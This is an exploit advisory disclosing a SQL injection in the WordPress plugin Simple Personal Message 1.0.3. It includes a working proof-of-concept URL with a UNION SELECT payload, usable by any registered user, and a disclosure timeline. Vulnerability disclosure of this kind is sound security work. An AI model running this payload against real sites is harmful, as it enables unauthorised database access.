# Exploit Title: Single Personal Message 1.0.3 a Plugin WordPress a Sql Injection
# Date: 28/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/simple-personal-message/
# Software Link: https://wordpress.org/plugins/simple-personal-message/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.0.3
# Tested on: Windows 8
 
1 - Description:
 
$_GET['message'] is not escaped. Is accessible for every registered user.
 
http://lenonleite.com.br/en/blog/2016/12/05/single-personal-message-1-0-3-plugin-wordpress-sql-injection/
 
2 - Proof of Concept:
 
1 - Login as regular user (created using wp-login.php?action=register):
 
2 - Access url:
 
http://target/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=0%20UNION%20SELECT%201,2.3,name,5,slug,7,8,9,10,11,12%20FROM%20wp_terms%20WHERE%20term_id=1
 
3 - Timeline:
 
28/11/2016 - Discovered
28/11/2016 - vendor notified